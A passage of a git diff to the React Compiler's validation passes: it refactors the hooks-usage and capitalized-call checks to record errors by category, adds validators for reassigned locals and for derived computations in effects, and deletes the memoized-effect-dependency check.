+} from '../HIR/HIR';
 import {
   eachInstructionLValue,
   eachInstructionOperand,
   eachTerminalOperand,
-} from "../HIR/visitors";
-import { assertExhaustive } from "../Utils/utils";
+} from '../HIR/visitors';
+import {assertExhaustive} from '../Utils/utils';
 
 /**
  * Represents the possible kinds of value which may be stored at a given Place during
@@ -34,7 +30,7 @@ import { assertExhaustive } from "../Utils/utils";
  */
 enum Kind {
   // A potential/known hook which was already used in an invalid way
-  Error = "Error",
+  Error = 'Error',
 
   /*
    * A known hook. Sources include:
@@ -44,7 +40,7 @@ enum Kind {
    * - PropertyLoad, ComputedLoad, and Destructuring instructions
    *   where the object is a Global and the property name is hook-like
    */
-  KnownHook = "KnownHook",
+  KnownHook = 'KnownHook',
 
   /*
    * A potential hook. Sources include:
@@ -53,13 +49,13 @@ enum Kind {
    *   where the object is a potential hook or the property name
    *   is hook-like
    */
-  PotentialHook = "PotentialHook",
+  PotentialHook = 'PotentialHook',
 
   // LoadGlobal values whose type was not inferred as a hook
-  Global = "Global",
+  Global = 'Global',
 
   // All other values, ie local variables
-  Local = "Local",
+  Local = 'Local',
 }
 
 function joinKinds(a: Kind, b: Kind): Kind {
@@ -90,15 +86,14 @@ function joinKinds(a: Kind, b: Kind): Kind {
 export function validateHooksUsage(fn: HIRFunction): void {
   const unconditionalBlocks = computeUnconditionalBlocks(fn);
 
-  const errors = new CompilerError();
   const errorsByPlace = new Map<t.SourceLocation, CompilerErrorDetail>();
 
-  function recordError(
+  function trackError(
     loc: SourceLocation,
-    errorDetail: CompilerErrorDetail
+    errorDetail: CompilerErrorDetail,
   ): void {
-    if (typeof loc === "symbol") {
-      errors.pushErrorDetail(errorDetail);
+    if (typeof loc === 'symbol') {
+      fn.env.recordError(errorDetail);
     } else {
       errorsByPlace.set(loc, errorDetail);
     }
@@ -109,58 +104,58 @@ export function validateHooksUsage(fn: HIRFunction): void {
     setKind(place, Kind.Error);
 
     const reason =
-      "Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)";
+      'Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)';
     const previousError =
-      typeof place.loc !== "symbol" ? errorsByPlace.get(place.loc) : undefined;
+      typeof place.loc !== 'symbol' ? errorsByPlace.get(place.loc) : undefined;
 
     /*
      * In some circumstances such as optional calls, we may first encounter a "hook may not be referenced as normal values" error.
      * If that same place is also used as a conditional call, upgrade the error to a conditonal hook error
      */
     if (previousError === undefined || previousError.reason !== reason) {
-      recordError(
+      trackError(
         place.loc,
         new CompilerErrorDetail({
+          category: ErrorCategory.Hooks,
           description: null,
           reason,
           loc: place.loc,
-          severity: ErrorSeverity.InvalidReact,
           suggestions: null,
-        })
+        }),
       );
     }
   }
   function recordInvalidHookUsageError(place: Place): void {
     const previousError =
-      typeof place.loc !== "symbol" ? errorsByPlace.get(place.loc) : undefined;
+      typeof place.loc !== 'symbol' ? errorsByPlace.get(place.loc) : undefined;
     if (previousError === undefined) {
-      recordError(
+      trackError(
         place.loc,
         new CompilerErrorDetail({
+          category: ErrorCategory.Hooks,
           description: null,
           reason:
-            "Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values",
+            'Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values',
           loc: place.loc,
-          severity: ErrorSeverity.InvalidReact,
           suggestions: null,
-        })
+        }),
       );
     }
   }
   function recordDynamicHookUsageError(place: Place): void {
     const previousError =
-      typeof place.loc !== "symbol" ? errorsByPlace.get(place.loc) : undefined;
+      typeof place.loc !== 'symbol' ? errorsByPlace.get(place.loc) : undefined;
     if (previousError === undefined) {
-      recordError(
+      trackError(
         place.loc,
         new CompilerErrorDetail({
+          category: ErrorCategory.Hooks,
           description: null,
           reason:
-            "Hooks must be the same function on every render, but this value may change over time to a different function. See https://react.dev/reference/rules/react-calls-components-and-hooks#dont-dynamically-use-hooks",
+            'Hooks must be the same function on every render, but this value may change over time to a different function. See https://react.dev/reference/rules/react-calls-components-and-hooks#dont-dynamically-use-hooks',
           loc: place.loc,
-          severity: ErrorSeverity.InvalidReact,
           suggestions: null,
-        })
+        }),
       );
     }
   }
@@ -190,7 +185,7 @@ export function validateHooksUsage(fn: HIRFunction): void {
   }
 
   for (const param of fn.params) {
-    const place = param.kind === "Identifier" ? param : param.place;
+    const place = param.kind === 'Identifier' ? param : param.place;
     const kind = getKindForPlace(place);
     setKind(place, kind);
   }
@@ -198,11 +193,12 @@ export function validateHooksUsage(fn: HIRFunction): void {
   for (const [, block] of fn.body.blocks) {
     for (const phi of block.phis) {
       let kind: Kind =
-        phi.id.name !== null && isHookName(phi.id.name.value)
+        phi.place.identifier.name !== null &&
+        isHookName(phi.place.identifier.name.value)
           ? Kind.PotentialHook
           : Kind.Local;
       for (const [, operand] of phi.operands) {
-        const operandKind = valueKinds.get(operand.id);
+        const operandKind = valueKinds.get(operand.identifier.id);
         /*
          * NOTE: we currently skip operands whose value is unknown
          * (which can only occur for functions with loops), we may
@@ -213,11 +209,11 @@ export function validateHooksUsage(fn: HIRFunction): void {
           kind = joinKinds(kind, operandKind);
         }
       }
-      valueKinds.set(phi.id.id, kind);
+      valueKinds.set(phi.place.identifier.id, kind);
     }
     for (const instr of block.instructions) {
       switch (instr.value.kind) {
-        case "LoadGlobal": {
+        case 'LoadGlobal': {
           /*
            * Globals are the one source of known hooks: they are either
            * directly a hook, or infer a Global kind from which knownhooks
@@ -230,33 +226,35 @@ export function validateHooksUsage(fn: HIRFunction): void {
           }
           break;
         }
-        case "LoadContext":
-        case "LoadLocal": {
+        case 'LoadContext':
+        case 'LoadLocal': {
           visitPlace(instr.value.place);
           const kind = getKindForPlace(instr.value.place);
           setKind(instr.lvalue, kind);
           break;
         }
-        case "StoreLocal":
-        case "StoreContext": {
+        case 'StoreLocal':
+        case 'StoreContext': {
           visitPlace(instr.value.value);
           const kind = joinKinds(
             getKindForPlace(instr.value.value),
-            getKindForPlace(instr.value.lvalue.place)
+            getKindForPlace(instr.value.lvalue.place),
           );
           setKind(instr.value.lvalue.place, kind);
           setKind(instr.lvalue, kind);
           break;
         }
-        case "ComputedLoad": {
+        case 'ComputedLoad': {
           visitPlace(instr.value.object);
           const kind = getKindForPlace(instr.value.object);
           setKind(instr.lvalue, joinKinds(getKindForPlace(instr.lvalue), kind));
           break;
         }
-        case "PropertyLoad": {
+        case 'PropertyLoad': {
           const objectKind = getKindForPlace(instr.value.object);
-          const isHookProperty = isHookName(instr.value.property);
+          const isHookProperty =
+            typeof instr.value.property === 'string' &&
+            isHookName(instr.value.property);
           let kind: Kind;
           switch (objectKind) {
             case Kind.Error: {
@@ -311,7 +309,7 @@ export function validateHooksUsage(fn: HIRFunction): void {
           setKind(instr.lvalue, kind);
           break;
         }
-        case "CallExpression": {
+        case 'CallExpression': {
           const calleeKind = getKindForPlace(instr.value.callee);
           const isHookCallee =
             calleeKind === Kind.KnownHook || calleeKind === Kind.PotentialHook;
@@ -331,7 +329,7 @@ export function validateHooksUsage(fn: HIRFunction): void {
           }
           break;
         }
-        case "MethodCall": {
+        case 'MethodCall': {
           const calleeKind = getKindForPlace(instr.value.property);
           const isHookCallee =
             calleeKind === Kind.KnownHook || calleeKind === Kind.PotentialHook;
@@ -351,7 +349,7 @@ export function validateHooksUsage(fn: HIRFunction): void {
           }
           break;
         }
-        case "Destructure": {
+        case 'Destructure': {
           visitPlace(instr.value.value);
           const objectKind = getKindForPlace(instr.value.value);
           for (const lvalue of eachInstructionLValue(instr)) {
@@ -383,7 +381,7 @@ export function validateHooksUsage(fn: HIRFunction): void {
               default: {
                 assertExhaustive(
                   objectKind,
-                  `Unexpected kind \`${objectKind}\``
+                  `Unexpected kind \`${objectKind}\``,
                 );
               }
             }
@@ -391,9 +389,9 @@ export function validateHooksUsage(fn: HIRFunction): void {
           }
           break;
         }
-        case "ObjectMethod":
-        case "FunctionExpression": {
-          visitFunctionExpression(errors, instr.value.loweredFunc.func);
+        case 'ObjectMethod':
+        case 'FunctionExpression': {
+          visitFunctionExpression(fn.env, instr.value.loweredFunc.func);
           break;
         }
         default: {
@@ -418,39 +416,36 @@ export function validateHooksUsage(fn: HIRFunction): void {
   }
 
   for (const [, error] of errorsByPlace) {
-    errors.push(error);
-  }
-  if (errors.hasErrors()) {
-    throw errors;
+    fn.env.recordError(error);
   }
 }
 
-function visitFunctionExpression(errors: CompilerError, fn: HIRFunction): void {
+function visitFunctionExpression(env: Environment, fn: HIRFunction): void {
   for (const [, block] of fn.body.blocks) {
     for (const instr of block.instructions) {
       switch (instr.value.kind) {
-        case "ObjectMethod":
-        case "FunctionExpression": {
-          visitFunctionExpression(errors, instr.value.loweredFunc.func);
+        case 'ObjectMethod':
+        case 'FunctionExpression': {
+          visitFunctionExpression(env, instr.value.loweredFunc.func);
           break;
         }
-        case "MethodCall":
-        case "CallExpression": {
+        case 'MethodCall':
+        case 'CallExpression': {
           const callee =
-            instr.value.kind === "CallExpression"
+            instr.value.kind === 'CallExpression'
               ? instr.value.callee
               : instr.value.property;
           const hookKind = getHookKind(fn.env, callee.identifier);
           if (hookKind != null) {
-            errors.pushErrorDetail(
+            env.recordError(
               new CompilerErrorDetail({
-                severity: ErrorSeverity.InvalidReact,
+                category: ErrorCategory.Hooks,
                 reason:
-                  "Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)",
+                  'Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)',
                 loc: callee.loc,
-                description: `Cannot call ${hookKind} within a function component`,
+                description: `Cannot call ${hookKind === 'Custom' ? 'hook' : hookKind} within a function expression`,
                 suggestions: null,
-              })
+              }),
             );
           }
           break;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateLocalsNotReassignedAfterRender.ts b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateLocalsNotReassignedAfterRender.ts
new file mode 100644
index 000000000000..77b921512aa1
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateLocalsNotReassignedAfterRender.ts
@@ -0,0 +1,230 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {CompilerDiagnostic, CompilerError, Effect} from '..';
+import {ErrorCategory} from '../CompilerError';
+import {Environment} from '../HIR/Environment';
+import {HIRFunction, IdentifierId, Place} from '../HIR';
+import {
+  eachInstructionLValue,
+  eachInstructionValueOperand,
+  eachTerminalOperand,
+} from '../HIR/visitors';
+import {getFunctionCallSignature} from '../Inference/InferMutationAliasingEffects';
+
+/**
+ * Validates that local variables cannot be reassigned after render.
+ * This prevents a category of bugs in which a closure captures a
+ * binding from one render but does not update
+ */
+export function validateLocalsNotReassignedAfterRender(fn: HIRFunction): void {
+  const contextVariables = new Set<IdentifierId>();
+  const reassignment = getContextReassignment(
+    fn,
+    contextVariables,
+    false,
+    false,
+    fn.env,
+  );
+  if (reassignment !== null) {
+    const variable =
+      reassignment.identifier.name != null &&
+      reassignment.identifier.name.kind === 'named'
+        ? `\`${reassignment.identifier.name.value}\``
+        : 'variable';
+    fn.env.recordError(
+      CompilerDiagnostic.create({
+        category: ErrorCategory.Immutability,
+        reason: 'Cannot reassign variable after render completes',
+        description: `Reassigning ${variable} after render has completed can cause inconsistent behavior on subsequent renders. Consider using state instead`,
+      }).withDetails({
+        kind: 'error',
+        loc: reassignment.loc,
+        message: `Cannot reassign ${variable} after render completes`,
+      }),
+    );
+  }
+}
+
+function getContextReassignment(
+  fn: HIRFunction,
+  contextVariables: Set<IdentifierId>,
+  isFunctionExpression: boolean,
+  isAsync: boolean,
+  env: Environment,
+): Place | null {
+  const reassigningFunctions = new Map<IdentifierId, Place>();
+  for (const [, block] of fn.body.blocks) {
+    for (const instr of block.instructions) {
+      const {lvalue, value} = instr;
+      switch (value.kind) {
+        case 'FunctionExpression':
+        case 'ObjectMethod': {
+          let reassignment = getContextReassignment(
+            value.loweredFunc.func,
+            contextVariables,
+            true,
+            isAsync || value.loweredFunc.func.async,
+            env,
+          );
+          if (reassignment === null) {
+            // If the function itself doesn't reassign, does one of its dependencies?
+            for (const operand of eachInstructionValueOperand(value)) {
+              const reassignmentFromOperand = reassigningFunctions.get(
+                operand.identifier.id,
+              );
+              if (reassignmentFromOperand !== undefined) {
+                reassignment = reassignmentFromOperand;
+                break;
+              }
+            }
+          }
+          // if the function or its depends reassign, propagate that fact on the lvalue
+          if (reassignment !== null) {
+            if (isAsync || value.loweredFunc.func.async) {
+              const variable =
+                reassignment.identifier.name !== null &&
+                reassignment.identifier.name.kind === 'named'
+                  ? `\`${reassignment.identifier.name.value}\``
+                  : 'variable';
+              env.recordError(
+                CompilerDiagnostic.create({
+                  category: ErrorCategory.Immutability,
+                  reason: 'Cannot reassign variable in async function',
+                  description:
+                    'Reassigning a variable in an async function can cause inconsistent behavior on subsequent renders. Consider using state instead',
+                }).withDetails({
+                  kind: 'error',
+                  loc: reassignment.loc,
+                  message: `Cannot reassign ${variable}`,
+                }),
+              );
+              return null;
+            }
+            reassigningFunctions.set(lvalue.identifier.id, reassignment);
+          }
+          break;
+        }
+        case 'StoreLocal': {
+          const reassignment = reassigningFunctions.get(
+            value.value.identifier.id,
+          );
+          if (reassignment !== undefined) {
+            reassigningFunctions.set(
+              value.lvalue.place.identifier.id,
+              reassignment,
+            );
+            reassigningFunctions.set(lvalue.identifier.id, reassignment);
+          }
+          break;
+        }
+        case 'LoadLocal': {
+          const reassignment = reassigningFunctions.get(
+            value.place.identifier.id,
+          );
+          if (reassignment !== undefined) {
+            reassigningFunctions.set(lvalue.identifier.id, reassignment);
+          }
+          break;
+        }
+        case 'DeclareContext': {
+          if (!isFunctionExpression) {
+            contextVariables.add(value.lvalue.place.identifier.id);
+          }
+          break;
+        }
+        case 'StoreContext': {
+          if (isFunctionExpression) {
+            if (contextVariables.has(value.lvalue.place.identifier.id)) {
+              return value.lvalue.place;
+            }
+          } else {
+            /*
+             * We only track reassignments of variables defined in the outer
+             * component or hook.
+             */
+            contextVariables.add(value.lvalue.place.identifier.id);
+          }
+          const reassignment = reassigningFunctions.get(
+            value.value.identifier.id,
+          );
+          if (reassignment !== undefined) {
+            reassigningFunctions.set(
+              value.lvalue.place.identifier.id,
+              reassignment,
+            );
+            reassigningFunctions.set(lvalue.identifier.id, reassignment);
+          }
+          break;
+        }
+        default: {
+          let operands = eachInstructionValueOperand(value);
+          // If we're calling a function that doesn't let its arguments escape, only test the callee
+          if (value.kind === 'CallExpression') {
+            const signature = getFunctionCallSignature(
+              fn.env,
+              value.callee.identifier.type,
+            );
+            if (signature?.noAlias) {
+              operands = [value.callee];
+            }
+          } else if (value.kind === 'MethodCall') {
+            const signature = getFunctionCallSignature(
+              fn.env,
+              value.property.identifier.type,
+            );
+            if (signature?.noAlias) {
+              operands = [value.receiver, value.property];
+            }
+          } else if (value.kind === 'TaggedTemplateExpression') {
+            const signature = getFunctionCallSignature(
+              fn.env,
+              value.tag.identifier.type,
+            );
+            if (signature?.noAlias) {
+              operands = [value.tag];
+            }
+          }
+          for (const operand of operands) {
+            CompilerError.invariant(operand.effect !== Effect.Unknown, {
+              reason: `Expected effects to be inferred prior to ValidateLocalsNotReassignedAfterRender`,
+              loc: operand.loc,
+            });
+            const reassignment = reassigningFunctions.get(
+              operand.identifier.id,
+            );
+            if (reassignment !== undefined) {
+              /*
+               * Functions that reassign local variables are inherently mutable and are unsafe to pass
+               * to a place that expects a frozen value. Propagate the reassignment upward.
+               */
+              if (operand.effect === Effect.Freeze) {
+                return reassignment;
+              } else {
+                /*
+                 * If the operand is not frozen but it does reassign, then the lvalues
+                 * of the instruction could also be reassigning
+                 */
+                for (const lval of eachInstructionLValue(instr)) {
+                  reassigningFunctions.set(lval.identifier.id, reassignment);
+                }
+              }
+            }
+          }
+          break;
+        }
+      }
+    }
+    for (const operand of eachTerminalOperand(block.terminal)) {
+      const reassignment = reassigningFunctions.get(operand.identifier.id);
+      if (reassignment !== undefined) {
+        return reassignment;
+      }
+    }
+  }
+  return null;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateMemoizedEffectDependencies.ts b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateMemoizedEffectDependencies.ts
deleted file mode 100644
index a1c7cb736abc..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateMemoizedEffectDependencies.ts
+++ /dev/null
@@ -1,128 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import { CompilerError, ErrorSeverity } from "..";
-import {
-  Identifier,
-  Instruction,
-  ReactiveFunction,
-  ReactiveInstruction,
-  ReactiveScopeBlock,
-  ScopeId,
-  isUseEffectHookType,
-  isUseInsertionEffectHookType,
-  isUseLayoutEffectHookType,
-} from "../HIR";
-import { isMutable } from "../ReactiveScopes/InferReactiveScopeVariables";
-import {
-  ReactiveFunctionVisitor,
-  visitReactiveFunction,
-} from "../ReactiveScopes/visitors";
-
-/**
- * Validates that all known effect dependencies are memoized. The algorithm checks two things:
- * - Disallow effect dependencies that should be memoized (have a reactive scope assigned) but
- *   where that reactive scope does not exist. This checks for cases where a reactive scope was
- *   pruned for some reason, such as spanning a hook.
- * - Disallow effect dependencies whose a mutable range that encompasses the effect call.
- *
- * This latter check corresponds to any values which Forget knows may be mutable and may be mutated
- * after the effect. Note that it's possible Forget may miss not memoize a value for some other reason,
- * but in general this is a bug. The only reason Forget would _choose_ to skip memoization of an
- * effect dependency is because it's mutated later.
- *
- * Example:
- *
- * ```javascript
- * const object = {}; // mutable range starts here...
- *
- * useEffect(() => {
- *   console.log('hello');
- * }, [object]); // the dependency array picks up the mutable range of its mutable contents
- *
- * mutate(object); // ... mutable range ends here after this mutation
- * ```
- */
-export function validateMemoizedEffectDependencies(fn: ReactiveFunction): void {
-  const errors = new CompilerError();
-  visitReactiveFunction(fn, new Visitor(), errors);
-  if (errors.hasErrors()) {
-    throw errors;
-  }
-}
-
-class Visitor extends ReactiveFunctionVisitor<CompilerError> {
-  scopes: Set<ScopeId> = new Set();
-
-  override visitScope(
-    scopeBlock: ReactiveScopeBlock,
-    state: CompilerError
-  ): void {
-    this.traverseScope(scopeBlock, state);
-
-    /*
-     * Record scopes that exist in the AST so we can later check to see if
-     * effect dependencies which should be memoized (have a scope assigned)
-     * actually are memoized (that scope exists).
-     * However, we only record scopes if *their* dependencies are also
-     * memoized, allowing a transitive memoization check.
-     */
-    let areDependenciesMemoized = true;
-    for (const dep of scopeBlock.scope.dependencies) {
-      if (isUnmemoized(dep.identifier, this.scopes)) {
-        areDependenciesMemoized = false;
-        break;
-      }
-    }
-    if (areDependenciesMemoized) {
-      this.scopes.add(scopeBlock.scope.id);
-      for (const id of scopeBlock.scope.merged) {
-        this.scopes.add(id);
-      }
-    }
-  }
-
-  override visitInstruction(
-    instruction: ReactiveInstruction,
-    state: CompilerError
-  ): void {
-    this.traverseInstruction(instruction, state);
-    if (
-      instruction.value.kind === "CallExpression" &&
-      isEffectHook(instruction.value.callee.identifier) &&
-      instruction.value.args.length >= 2
-    ) {
-      const deps = instruction.value.args[1]!;
-      if (
-        deps.kind === "Identifier" &&
-        (isMutable(instruction as Instruction, deps) ||
-          isUnmemoized(deps.identifier, this.scopes))
-      ) {
-        state.push({
-          reason:
-            "React Compiler has skipped optimizing this component because the effect dependencies could not be memoized. Unmemoized effect dependencies can trigger an infinite loop or other unexpected behavior",
-          description: null,
-          severity: ErrorSeverity.CannotPreserveMemoization,
-          loc: typeof instruction.loc !== "symbol" ? instruction.loc : null,
-          suggestions: null,
-        });
-      }
-    }
-  }
-}
-
-function isUnmemoized(operand: Identifier, scopes: Set<ScopeId>): boolean {
-  return operand.scope != null && !scopes.has(operand.scope.id);
-}
-
-export function isEffectHook(identifier: Identifier): boolean {
-  return (
-    isUseEffectHookType(identifier) ||
-    isUseLayoutEffectHookType(identifier) ||
-    isUseInsertionEffectHookType(identifier)
-  );
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoCapitalizedCalls.ts b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoCapitalizedCalls.ts
index 46865b30592e..c0c6b6d9f9af 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoCapitalizedCalls.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoCapitalizedCalls.ts
@@ -4,9 +4,11 @@
  * This source code is licensed under the MIT license found in the
  * LICENSE file in the root directory of this source tree.
  */
-import { CompilerError, EnvironmentConfig } from "..";
-import { HIRFunction, IdentifierId } from "../HIR";
-import { DEFAULT_GLOBALS } from "../HIR/Globals";
+
+import {CompilerErrorDetail, EnvironmentConfig} from '..';
+import {ErrorCategory} from '../CompilerError';
+import {HIRFunction, IdentifierId} from '../HIR';
+import {DEFAULT_GLOBALS} from '../HIR/Globals';
 
 export function validateNoCapitalizedCalls(fn: HIRFunction): void {
   const envConfig: EnvironmentConfig = fn.env.config;
@@ -14,28 +16,20 @@ export function validateNoCapitalizedCalls(fn: HIRFunction): void {
     ...DEFAULT_GLOBALS.keys(),
     ...(envConfig.validateNoCapitalizedCalls ?? []),
   ]);
-  /*
-   * The hook pattern may allow uppercase names, like React$useState, so we need to be sure that we
-   * do not error in those cases
-   */
-  const hookPattern =
-    envConfig.hookPattern != null ? new RegExp(envConfig.hookPattern) : null;
   const isAllowed = (name: string): boolean => {
-    return (
-      ALLOW_LIST.has(name) || (hookPattern != null && hookPattern.test(name))
-    );
+    return ALLOW_LIST.has(name);
   };
 
   const capitalLoadGlobals = new Map<IdentifierId, string>();
   const capitalizedProperties = new Map<IdentifierId, string>();
   const reason =
-    "Capitalized functions are reserved for components, which must be invoked with JSX. If this is a component, render it with JSX. Otherwise, ensure that it has no hook calls and rename it to begin with a lowercase letter. Alternatively, if you know for a fact that this function is not a component, you can allowlist it via the compiler config";
+    'Capitalized functions are reserved for components, which must be invoked with JSX. If this is a component, render it with JSX. Otherwise, ensure that it has no hook calls and rename it to begin with a lowercase letter. Alternatively, if you know for a fact that this function is not a component, you can allowlist it via the compiler config';
   for (const [, block] of fn.body.blocks) {
-    for (const { lvalue, value } of block.instructions) {
+    for (const {lvalue, value} of block.instructions) {
       switch (value.kind) {
-        case "LoadGlobal": {
+        case 'LoadGlobal': {
           if (
-            value.binding.name != "" &&
+            value.binding.name != '' &&
             /^[A-Z]/.test(value.binding.name) &&
             // We don't want to flag CONSTANTS()
             !(value.binding.name.toUpperCase() === value.binding.name) &&
@@ -46,36 +40,46 @@ export function validateNoCapitalizedCalls(fn: HIRFunction): void {
 
           break;
         }
-        case "CallExpression": {
+        case 'CallExpression': {
           const calleeIdentifier = value.callee.identifier.id;
           const calleeName = capitalLoadGlobals.get(calleeIdentifier);
           if (calleeName != null) {
-            CompilerError.throwInvalidReact({
-              reason,
-              description: `${calleeName} may be a component.`,
-              loc: value.loc,
-              suggestions: null,
-            });
+            fn.env.recordError(
+              new CompilerErrorDetail({
+                category: ErrorCategory.CapitalizedCalls,
+                reason,
+                description: `${calleeName} may be a component`,
+                loc: value.loc,
+                suggestions: null,
+              }),
+            );
+            continue;
           }
           break;
         }
-        case "PropertyLoad": {
+        case 'PropertyLoad': {
           // Start conservative and disallow all capitalized method calls
-          if (/^[A-Z]/.test(value.property)) {
+          if (
+            typeof value.property === 'string' &&
+            /^[A-Z]/.test(value.property)
+          ) {
             capitalizedProperties.set(lvalue.identifier.id, value.property);
           }
           break;
         }
-        case "MethodCall": {
+        case 'MethodCall': {
           const propertyIdentifier = value.property.identifier.id;
           const propertyName = capitalizedProperties.get(propertyIdentifier);
           if (propertyName != null) {
-            CompilerError.throwInvalidReact({
-              reason,
-              description: `${propertyName} may be a component.`,
-              loc: value.loc,
-              suggestions: null,
-            });
+            fn.env.recordError(
+              new CompilerErrorDetail({
+                category: ErrorCategory.CapitalizedCalls,
+                reason,
+                description: `${propertyName} may be a component`,
+                loc: value.loc,
+                suggestions: null,
+              }),
+            );
           }
           break;
         }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoDerivedComputationsInEffects.ts b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoDerivedComputationsInEffects.ts
new file mode 100644
index 000000000000..380f24433178
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoDerivedComputationsInEffects.ts
@@ -0,0 +1,229 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {CompilerError, SourceLocation} from '..';
+import {CompilerErrorDetail, ErrorCategory} from '../CompilerError';
+import {
+  ArrayExpression,
+  BlockId,
+  FunctionExpression,
+  HIRFunction,
+  IdentifierId,
+  isSetStateType,
+  isUseEffectHookType,
+} from '../HIR';
+import {
+  eachInstructionValueOperand,
+  eachTerminalOperand,
+} from '../HIR/visitors';
+import {Environment} from '../HIR/Environment';
+
+/**
+ * Validates that useEffect is not used for derived computations which could/should
+ * be performed in render.
+ *
+ * See https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state
+ *
+ * Example:
+ *
+ * ```
+ * // 🔴 Avoid: redundant state and unnecessary Effect
+ * const [fullName, setFullName] = useState('');
+ * useEffect(() => {
+ *   setFullName(firstName + ' ' + lastName);
+ * }, [firstName, lastName]);
+ * ```
+ *
+ * Instead use:
+ *
+ * ```
+ * // ✅ Good: calculated during rendering
+ * const fullName = firstName + ' ' + lastName;
+ * ```
+ */
+export function validateNoDerivedComputationsInEffects(fn: HIRFunction): void {
+  const candidateDependencies: Map<IdentifierId, ArrayExpression> = new Map();
+  const functions: Map<IdentifierId, FunctionExpression> = new Map();
+  const locals: Map<IdentifierId, IdentifierId> = new Map();
+
+  for (const block of fn.body.blocks.values()) {
+    for (const instr of block.instructions) {
+      const {lvalue, value} = instr;
+      if (value.kind === 'LoadLocal') {
+        locals.set(lvalue.identifier.id, value.place.identifier.id);
+      } else if (value.kind === 'ArrayExpression') {
+        candidateDependencies.set(lvalue.identifier.id, value);
+      } else if (value.kind === 'FunctionExpression') {
+        functions.set(lvalue.identifier.id, value);
+      } else if (
+        value.kind === 'CallExpression' ||
+        value.kind === 'MethodCall'
+      ) {
+        const callee =
+          value.kind === 'CallExpression' ? value.callee : value.property;
+        if (
+          isUseEffectHookType(callee.identifier) &&
+          value.args.length === 2 &&
+          value.args[0].kind === 'Identifier' &&
+          value.args[1].kind === 'Identifier'
+        ) {
+          const effectFunction = functions.get(value.args[0].identifier.id);
+          const deps = candidateDependencies.get(value.args[1].identifier.id);
+          if (
+            effectFunction != null &&
+            deps != null &&
+            deps.elements.length !== 0 &&
+            deps.elements.every(element => element.kind === 'Identifier')
+          ) {
+            const dependencies: Array<IdentifierId> = deps.elements.map(dep => {
+              CompilerError.invariant(dep.kind === 'Identifier', {
+                reason: `Dependency is checked as a place above`,
+                loc: value.loc,
+              });
+              return locals.get(dep.identifier.id) ?? dep.identifier.id;
+            });
+            validateEffect(
+              effectFunction.loweredFunc.func,
+              dependencies,
+              fn.env,
+            );
+          }
+        }
+      }
+    }
+  }
+}
+
+function validateEffect(
+  effectFunction: HIRFunction,
+  effectDeps: Array<IdentifierId>,
+  env: Environment,
+): void {
+  for (const operand of effectFunction.context) {
+    if (isSetStateType(operand.identifier)) {
+      continue;
+    } else if (effectDeps.find(dep => dep === operand.identifier.id) != null) {
+      continue;
+    } else {
+      // Captured something other than the effect dep or setState
+      return;
+    }
+  }
+  for (const dep of effectDeps) {
+    if (
+      effectFunction.context.find(operand => operand.identifier.id === dep) ==
+      null
+    ) {
+      // effect dep wasn't actually used in the function
+      return;
+    }
+  }
+
+  const seenBlocks: Set<BlockId> = new Set();
+  const values: Map<IdentifierId, Array<IdentifierId>> = new Map();
+  for (const dep of effectDeps) {
+    values.set(dep, [dep]);
+  }
+
+  const setStateLocations: Array<SourceLocation> = [];
+  for (const block of effectFunction.body.blocks.values()) {
+    for (const pred of block.preds) {
+      if (!seenBlocks.has(pred)) {
+        // skip if block has a back edge
+        return;
+      }
+    }
+    for (const phi of block.phis) {
+      const aggregateDeps: Set<IdentifierId> = new Set();
+      for (const operand of phi.operands.values()) {
+        const deps = values.get(operand.identifier.id);
+        if (deps != null) {
+          for (const dep of deps) {
+            aggregateDeps.add(dep);
+          }
+        }
+      }
+      if (aggregateDeps.size !== 0) {
+        values.set(phi.place.identifier.id, Array.from(aggregateDeps));
+      }
+    }
+    for (const instr of block.instructions) {
+      switch (instr.value.kind) {
+        case 'Primitive':
+        case 'JSXText':
+        case 'LoadGlobal': {
+          break;
+        }
+        case 'LoadLocal': {
+          const deps = values.get(instr.value.place.identifier.id);
+          if (deps != null) {
+            values.set(instr.lvalue.identifier.id, deps);
+          }
+          break;
+        }
+        case 'ComputedLoad':
+        case 'PropertyLoad':
+        case 'BinaryExpression':
+        case 'TemplateLiteral':
+        case 'CallExpression':
+        case 'MethodCall': {
+          const aggregateDeps: Set<IdentifierId> = new Set();
+          for (const operand of eachInstructionValueOperand(instr.value)) {
+            const deps = values.get(operand.identifier.id);
+            if (deps != null) {
+              for (const dep of deps) {
+                aggregateDeps.add(dep);
+              }
+            }
+          }
